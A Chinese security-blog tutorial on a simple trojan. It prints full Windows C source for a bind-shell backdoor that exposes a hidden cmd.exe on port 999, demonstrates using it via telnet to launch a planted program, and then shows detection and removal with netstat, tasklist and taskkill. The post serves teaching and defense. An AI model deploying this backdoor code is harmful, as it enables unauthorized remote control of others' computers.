一、前言

病毒与木马技术发展到今天,由于二者总是相辅相成,你中有我,我中有你,所以它们之间的界限往往已经不再那么明显,相互之间往往都会采用对方的一些技术以达到自己的目的,所以现在很多时候也就将二者直接统称为“恶意代码”。这次我打算用两篇文章的篇幅来讨论病毒与简单的木马相互结合的分析与防范方法。本篇也就是第一篇,讨论的是利用只有服务器端的木马程序实现“病毒”的启动。而在下一篇中,我会讨论既有服务器端又有客户端的木马程序与“病毒”相结合的分析与防范。

二、简单木马的原理

由于木马技术与计算机网络息息相关,所以也就离不开Socket套接字编程。这里我不打算详述Socket套接字编程的细节,这个在MSDN上有非常详细的讲述,无非就是根据套接字的编程的流程,将相应的内容填入“模板”。而既然要实现通信的效果,就需要遵循一个通信模型,木马一般都是C/S(客户端/服务端)模式的。本篇文章所要论述的,虽然不涉及客户端的编写,但实际上我只不过是把cmd程序当成了客户端,因此本质上还是C/S模式的。

C/S模型的开发,需要在服务器端(欲攻击的计算机)上绑定一个IP地址和一个端口号,然后进行监听,等待客户端(攻击方)的连接。客户端则是向相应的IP地址和端口号发起连接,服务器端接受后,双方就可以开始进行通信,这就是基于TCP协议的通信,也是接下来要用到的方法。另外还有一种基于UDP协议的方法,这种方法是在服务器端进行相应的绑定后,客户端不需要进行连接直接就可以和服务器进行通信。可见,TCP要比UDP可靠,而UDP要比TCP效率高。

本篇文章所论述的服务器端编程的基本原理如下:

1、打开一通信通道(绑定某个端口)并告知本地主机,它在某一个地址上接收客户请求。可以采用socket和bind函数实现。

2、等待用户请求到达该端口。利用listen函数实现。

3、接收到服务请求,处理该请求并发送应答信号。利用accept函数实现。

4、返回第二步,等待其他客户的请求。

5、关闭连接。利用closesocket函数实现。

以上所使用的函数顺序如下:

socket()→bind()→listen()→accept()→closesocket()

三、木马的编程实现

当服务器端运行这个程序后,客户端可以利用telnet向服务器端发起连接,成功后自动打开cmd窗口,就可以通过DOS命令来直接控制服务器端的目标计算机,代码如下:

#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
#define MasterPort 999 //欲利用的端口号 int main()
{
WSADATA WSADa;
sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255]; //初始化数据
ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
ZeroMemory(&WSADa,sizeof(WSADATA));
//获取CMD路径
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //加载ws2_32.dll
WSAStartup(0x0202,&WSADa);
//设置本地信息和绑定协议,建立Socket
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.S_un.S_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//设置绑定端口999
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
//设置服务器端监听端口
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn); //开始连接远程服务器,并配置隐藏窗口结构体
SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//创建匿名管道
CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess,INFINITE); //关闭进程句柄
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//关闭套接字
closesocket(CSocket);
closesocket(SSocket);
//释放ws2_32.dll动态链接库
WSACleanup(); return 0;
}

由于代码比较简单,这里不再进行分析。

四、木马与“病毒”的结合利用

之前文章所讨论的“病毒”的自启动方式,都是需要借助于“外力”作用,而这次我的“病毒”则是通过植入木马,连接成功后输入DOS命令来启动,但是前提是木马需要先启动。这里我用了两台计算机(也可以使用虚拟机),一台是客户端,一台是服务器端,服务器端已经放置了木马程序,现在就在服务器端执行该木马。之后在客户端中打开cmd程序,输入:

telnet 192.168.1.107 999

这句命令的意思是通过telnet进行远程登录,连接到ip地址为192.168.1.107的计算机上的999号端口。成功后就可以发现已经连接到了对方的计算机上:

图1 连接到远程计算机

那么此时就可以通过DOS命令对目标计算机进行控制。这里假设目标计算机的E盘根目录下保存有我之前编写的Hacked.exe程序,那么可以通过输入如下命令进行运行:

start e:\hacked.exe

此时Hacked.exe程序已经在目标计算机上执行,显示如下:


图2 在目标计算机上启动Hacked.exe

当然,我这里是假设Hacked.exe已放入对方的电脑,这个前提会有诸多的限制,因为更好的方法是将Hacked.exe程序由客户端传到服务器端再进行启动。不过,由于这个方法比较危险,为了避免别有用心的人拿它去做不轨的事情,因此不再深入讨论。我的原则始终是以讨论如何更好地防范恶意程序为主,而对于恶意代码的实现,也就是点到为止。无需多加讨论的,坚决不进行深入探讨。

五、木马的查杀

上述代码所实现的是一个比较简单的正向连接后门程序,并没有添加进程隐藏功能,也没有增加启动项目,也就是说,当服务器端计算机重新启动后,这个木马就失效了,需要重新运行才可以。我这里讲讲如何手动查杀。当服务器端被植入木马后,服务器端可以进入cmd(若cmd被映像劫持可参考我之前的文章),然后输入命令:

netstat –ano

这个命令可以查看当前的网络连接状态,如图所示:

图3 查看网络连接状态

在图中可以看到,本地端口999与IP地址为192.168.1.104的主机建立了TCP连接,而且也可以看到进程的ID值为1292(每次启动木马的PID值可能不一样)。对于一般的木马来说,在命令提示符下就可以实现“查”的操作,随着以后讨论的深入,木马复杂度会不断加深,我可能会使用专业查杀工具或者采用自制的工具实现“查”的功能。

利用PID值可以查看进程的文件名,输入:

tasklist | find “1292”

就可以知道PID值为1292的进程的名称为“MiniTrojan.exe”。之后使用PID值就能够将木马进程从计算机中删除,这里用taskkill命令:

taskkill /f /pid 1292 /t

这句命令的意思是,强制(/f)终止PID值为1292 的进程和任何由此启动的进程(/t)。最后一步是找到MiniTrojan.exe的位置,并删除,就能够彻底将木马赶出计算机了,这里不再赘述。

六、小结

这篇文章所讲的木马程序需要在cmd下运行,尽管远不如图形界面直观,但是这小小的木马,也能够造成很大的威胁了。不过,这毕竟是一匹“小马”,采用简单的DOS命令就能够查杀,还是很好对付的。其实手动查杀病毒木马的流程就是这样,查木马病毒往往需要经验,需要敏锐的嗅觉,之后的“杀”的阶段,需要先把病毒木马的进程结束掉,然后才能删掉其主程序。即便是复杂的恶意程序,基本上也是这个原理。

反病毒攻防研究第005篇:简单木马分析与防范part1的更多相关文章

  1. 反病毒攻防研究第006篇:简单木马分析与防范part2

    一.前言 一般来说,木马是既有客户端也有服务器端的.上次讨论的不过是一种特殊情况,毕竟不是人人都懂得DOS命令,因此现在木马的客户端也都是做成非常直观的界面形式,方便操作.本篇文章会从客户端与服务器端 ...

  2. 反病毒攻防研究第004篇:利用WinRAR与AutoRun.inf实现自启动

    一.前言 由之前的一系列研究可以发现,为了使得"病毒"能够实现自启动,我也是煞费苦心,采取了各种方式,往往需要编写冗长的代码并且还需要掌握系统底层或注册表的很多知识才可以.而这次我 ...

  3. WAF攻防研究之四个层次Bypass WAF

    从架构.资源.协议和规则4个层次研究绕过WAF的技术,助于全方位提升WAF防御能力. 绕过WAF的相关技术研究是WAF攻防研究非常重要的一部分,也是最有趣的部分,所以我在写WAF攻防时先写攻击部分.还 ...

  4. iOS开发网络篇—简单介绍ASI框架的使用

    iOS开发网络篇—简单介绍ASI框架的使用 说明:本文主要介绍网络编程中常用框架ASI的简单使用. 一.ASI简单介绍 ASI:全称是ASIHTTPRequest,外号“HTTP终结者”,功能十分强大 ...

  5. iOS开发UI篇—简单的浏览器查看程序

    iOS开发UI篇—简单的浏览器查看程序 一.程序实现要求 1.要求 2. 界面分析 (1) 需要读取或修改属性的控件需要设置属性 序号标签 图片 图片描述 左边按钮 右边按钮 (2) 需要监听响应事件 ...

  6. iOS开发UI篇—简单介绍静态单元格的使用

    iOS开发UI篇—简单介绍静态单元格的使用 一.实现效果与说明 说明:观察上面的展示效果,可以发现整个界面是由一个tableview来展示的,上面的数据都是固定的,且几乎不会改变. 要完成上面的效果, ...

  7. iOS开发Swift篇—简单介绍

    iOS开发Swift篇—简单介绍 一.简介 Swift是苹果于2014年WWDC(苹果开发者大会)发布的全新编程语言 Swift在天朝译为“雨燕”,是它的LOGO 是一只燕子,跟Objective-C ...

  8. NHibernate 映射基础(第三篇) 简单映射、联合主键

    NHibernate 映射基础(第三篇) 简单映射.联合主键 NHibernate完全靠配置文件获取其所需的一切信息,其中映射文件,是其获取数据库与C#程序关系的所有信息来源. 一.简单映射 下面先来 ...

  9. 鸿蒙内核源码分析(编译过程篇) | 简单案例窥视GCC编译全过程 | 百篇博客分析OpenHarmony源码| v57.01

    百篇博客系列篇.本篇为: v57.xx 鸿蒙内核源码分析(编译过程篇) | 简单案例窥视编译全过程 | 51.c.h.o 编译构建相关篇为: v50.xx 鸿蒙内核源码分析(编译环境篇) | 编译鸿蒙 ...

随机推荐

  1. PVE更新WEB管理地址

    PVE也是一台Linux系统,如果PVE更换了网络环境,比如从家里拿到了办公室,那么就需要对其更新网络,才能让其它机器访问到它的8006管理地址. 具体做法是通过修改配置文件来更改IP. 更新网卡配置 ...

  2. 剑指 Offer 61. 扑克牌中的顺子 + 简单题 + 思维

    剑指 Offer 61. 扑克牌中的顺子 Offer_61 题目描述 java代码 package com.walegarrett.offer; /** * @Author WaleGarrett * ...

  3. .net Core 上传文件详解

    .net core 和.net framework上传文件有很多需要注意的地方 .net framework 上传文件用httppostedfilebase .net core 上传文件用 IForm ...

  4. windows10 缺失 msvcp140.dll 解决办法

    1.问题描述 我更新完windows10 驱动后,出现计算机缺失msvcp140.dll文件,虚机和QQ都无法启动 2.解决办法 查找大量文章,最终发现通过重新安装 Visual Studio 201 ...

  5. frameset、frame和div 、iframe

    框架一般应用于首页的界面排版工作.把一个网页切割成多个页面管理.frame文件一般只包含框架的布局信息,不会包含其他内容,所有的页面效果都是在各个frameset页面内显示.他们都从属于frame文件 ...

  6. C语言入门-mingw64安装+配置

    OK,大家好,结合上期所说,本期让我们来配置编译器吧! 首先先下载mingw64离线包,官网下载慢,可以去群里下载,*.7z格式(有些同学可能没有解压软件,为了照顾这部分同学,笔者提供*.exe格式的 ...

  7. 海岸线、科赫曲线、turtle、递归

    本章绘图要点: turtle模块:python标准库自带的一个模块,可用来绘制二维图形.该模块封装了底层的数据处理逻辑,向外提供了更符合手工绘图习惯的接口函数,适用于绘制对质量.精度要求不高的图形. ...

  8. python-给一个参数n,例如3:先输出1,2,3,4,5,6,7,8,9,每三个数后换行,后输出1,4,7,2,5,8,3,6,9

    """ 2 定义一个函数,fn(n)其中n表示输入n行n列的矩阵,需要满足的要求是在n为 3时先输出 3 1 2 3 4 4 5 6 5 7 8 9 6 后输出 7 1 ...

  9. C#异步编程由浅入深(一)

    一.什么算异步?   广义来讲,两个工作流能同时进行就算异步,例如,CPU与外设之间的工作流就是异步的.在面向服务的系统中,各个子系统之间通信一般都是异步的,例如,订单系统与支付系统之间的通信是异步的 ...

  10. 计算机体系结构——CH5 标量处理机

    计算机体系结构--CH5 标量处理机 右键点击查看图像,查看清晰图像 X-mind 计算机体系结构--CH5 标量处理机 先行控制技术 指令得重叠执行方式 顺序执行方式 一次重叠执行方式 二次重叠技术 ...